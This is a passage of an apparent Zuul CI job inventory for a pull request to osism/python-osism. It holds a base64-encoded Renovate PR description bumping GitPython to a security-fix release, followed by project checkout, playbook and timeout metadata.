3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL2NvbW1pdC84NjM0MTc0NTdhMDYzM2RiN2VhNWFlZDRmZDAxZTBiMjkxYTQxMTYyKQotIFtodHRwczovL2dpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uKQotIFtodHRwczovL2dpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL3JlbGVhc2VzL3RhZy8zLjEuNTVdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcmVsZWFzZXMvdGFnLzMuMS41NSkKClRoaXMgZGF0YSBpcyBwcm92aWRlZCBieSBbT1NWXShodHRwczovL29zdi5kZXYvdnVsbmVyYWJpbGl0eS9HSFNBLTk0cDQtNGNxOC05ZzY3KSBhbmQgdGhlIFtHaXRIdWIgQWR2aXNvcnkgRGF0YWJhc2VdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRodWIvYWR2aXNvcnktZGF0YWJhc2UpIChbQ0MtQlkgNC4wXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0aHViL2Fkdmlzb3J5LWRhdGFiYXNlL2Jsb2IvbWFpbi9MSUNFTlNFLm1kKSkuCjwvZGV0YWlscz4KCi0tLQoKIyMjIFJlbGVhc2UgTm90ZXMKCjxkZXRhaWxzPgo8c3VtbWFyeT5naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24gKEdpdFB5dGhvbik8L3N1bW1hcnk+CgojIyMgW2B2My4xLjU1YF0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9yZWxlYXNlcy90YWcvMy4xLjU1KTogLSBTRUNVUklUWQoKW0NvbXBhcmUgU291cmNlXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL2NvbXBhcmUvMy4xLjU0Li4uMy4xLjU1KQoKIyMjIyBXaGF0J3MgQ2hhbmdlZAoKLSBmaXg6IHByZXZlbnQgZW52aXJvbm1lbnQgZXhwYW5zaW9uIGluIHJlbW90ZSBVUkxzIGJ5IFtAJiM4MjAzO0J5cm9uXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vQnlyb24pIGluIFsjJiM4MjAzOzIxODFdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcHVsbC8yMTgxKQoKKipGdWxsIENoYW5nZWxvZyoqOiA8aHR0cHM6Ly9naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9jb21wYXJlLzMuMS41NC4uLjMuMS41NT4KCiMjIyBbYHYzLjEuNTRgXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL3JlbGVhc2VzL3RhZy8zLjEuNTQpOiAtIFNFQ1VSSVRZCgpbQ29tcGFyZSBTb3VyY2VdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vY29tcGFyZS8zLjEuNTMuLi4zLjEuNTQpCgojIyMjIFdoYXQncyBDaGFuZ2VkCgotIEhhcmRlbiB1bnNhZmUgR2l0IG9wdGlvbiB2YWxpZGF0aW9uIGJ5IFtAJiM4MjAzO0J5cm9uXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vQnlyb24pIGluIFsjJiM4MjAzOzIxODBdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcHVsbC8yMTgwKQoKKipGdWxsIENoYW5nZWxvZyoqOiA8aHR0cHM6Ly9naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9jb21wYXJlLzMuMS41My4uLjMuMS41ND4KCjwvZGV0YWlscz4KCi0tLQoKIyMjIENvbmZpZ3VyYXRpb24KCvCfk4UgKipTY2hlZHVsZSoqOiAoVVRDKQoKLSBCcmFuY2ggY3JlYXRpb24KICAtIEF0IGFueSB0aW1lIChubyBzY2hlZHVsZSBkZWZpbmVkKQotIEF1dG9tZXJnZQogIC0gQXQgYW55IHRpbWUgKG5vIHNjaGVkdWxlIGRlZmluZWQpCgrwn5qmICoqQXV0b21lcmdlKio6IERpc2FibGVkIGJ5IGNvbmZpZy4gUGxlYXNlIG1lcmdlIHRoaXMgbWFudWFsbHkgb25jZSB5b3UgYXJlIHNhdGlzZmllZC4KCuKZuyAqKlJlYmFzaW5nKio6IFdoZW5ldmVyIFBSIGJlY29tZXMgY29uZmxpY3RlZCwgb3IgeW91IHRpY2sgdGhlIHJlYmFzZS9yZXRyeSBjaGVja2JveC4KCvCflJUgKipJZ25vcmUqKjogQ2xvc2UgdGhpcyBQUiBhbmQgeW91IHdvbid0IGJlIHJlbWluZGVkIGFib3V0IHRoZXNlIHVwZGF0ZXMgYWdhaW4uCgotLS0KCiAtIFsgXSA8IS0tIHJlYmFzZS1jaGVjayAtLT5JZiB5b3Ugd2FudCB0byByZWJhc2UvcmV0cnkgdGhpcyBQUiwgY2hlY2sgdGhpcyBib3gKCi0tLQoKVGhpcyBQUiB3YXMgZ2VuZXJhdGVkIGJ5IFtNZW5kIFJlbm92YXRlXShodHRwczovL21lbmQuaW8vcmVub3ZhdGUvKS4gVmlldyB0aGUgW3JlcG9zaXRvcnkgam9iIGxvZ10oaHR0cHM6Ly9kZXZlbG9wZXIubWVuZC5pby9naXRodWIvb3Npc20vcHl0aG9uLW9zaXNtKS4KPCEtLXJlbm92YXRlLWRlYnVnOmV5SmpjbVZoZEdWa1NXNVdaWElpT2lJME15NHlPREF1TUNJc0luVndaR0YwWldSSmJsWmxjaUk2SWpRekxqSTRNQzR3SWl3aWRHRnlaMlYwUW5KaGJtTm9Jam9pYldGcGJpSXNJbXhoWW1Wc2N5STZXeUp5Wlc1dmRtRjBaU0pkZlE9PS0tPgo=
      patchset: cb3246bd3a214c3cf30cc56f53059d4b457a9af7
      pipeline: check
      playbook_context:
        playbook_projects:
          trusted/project_0/github.com/osism/zuul-config:
            canonical_name: github.com/osism/zuul-config
            checkout: main
            commit: 71b711c422c10c242a8f785dc6d41ed9d12e9cd3
          trusted/project_1/github.com/osism/openinfra-zuul-jobs:
            canonical_name: github.com/osism/openinfra-zuul-jobs
            checkout: master
            commit: 242732586e2cba04d04867d3e302888c766bc231
          trusted/project_2/github.com/osism/zuul-jobs:
            canonical_name: github.com/osism/zuul-jobs
            checkout: main
            commit: dcb06ea8a3ad422cc9d98b376216617b2daa6a02
          untrusted/project_0/github.com/osism/python-osism:
            canonical_name: github.com/osism/python-osism
            checkout: main
            commit: 18baf1d97eb4a9291c5ec4588eacadf6d2e2bb25
          untrusted/project_1/github.com/osism/zuul-config:
            canonical_name: github.com/osism/zuul-config
            checkout: main
            commit: 71b711c422c10c242a8f785dc6d41ed9d12e9cd3
          untrusted/project_2/github.com/osism/openinfra-zuul-jobs:
            canonical_name: github.com/osism/openinfra-zuul-jobs
            checkout: master
            commit: 242732586e2cba04d04867d3e302888c766bc231
          untrusted/project_3/github.com/osism/zuul-jobs:
            canonical_name: github.com/osism/zuul-jobs
            checkout: main
            commit: dcb06ea8a3ad422cc9d98b376216617b2daa6a02
        playbooks:
        - path: untrusted/project_0/github.com/osism/python-osism/playbooks/build.yml
          roles:
          - checkout: main
            checkout_description: zuul branch
            link_name: ansible/playbook_0/role_1/zuul-config
            link_target: untrusted/project_1/github.com/osism/zuul-config
            role_path: ansible/playbook_0/role_1/zuul-config/roles
          - checkout: master
            checkout_description: project default branch
            link_name: ansible/playbook_0/role_2/openinfra-zuul-jobs
            link_target: untrusted/project_2/github.com/osism/openinfra-zuul-jobs
            role_path: ansible/playbook_0/role_2/openinfra-zuul-jobs/roles
          - checkout: main
            checkout_description: zuul branch
            link_name: ansible/playbook_0/role_3/zuul-jobs
            link_target: untrusted/project_3/github.com/osism/zuul-jobs
            role_path: ansible/playbook_0/role_3/zuul-jobs/roles
      post_review: false
      post_timeout: 1800
      pre_timeout: null
      project:
        canonical_hostname: github.com
        canonical_name: github.com/osism/python-osism
        name: osism/python-osism
        short_name: python-osism
        src_dir: src/github.com/osism/python-osism
      projects:
        github.com/osism/python-osism:
          canonical_hostname: github.com
          canonical_name: github.com/osism/python-osism
          checkout: main
          checkout_description: zuul branch
          commit: 18baf1d97eb4a9291c5ec4588eacadf6d2e2bb25
          name: osism/python-osism
          required: false
          short_name: python-osism
          src_dir: src/github.com/osism/python-osism
      ref: refs/pull/2517/head
      resources: {}
      tenant: osism
      timeout: 1800
      topic: null
      voting: true
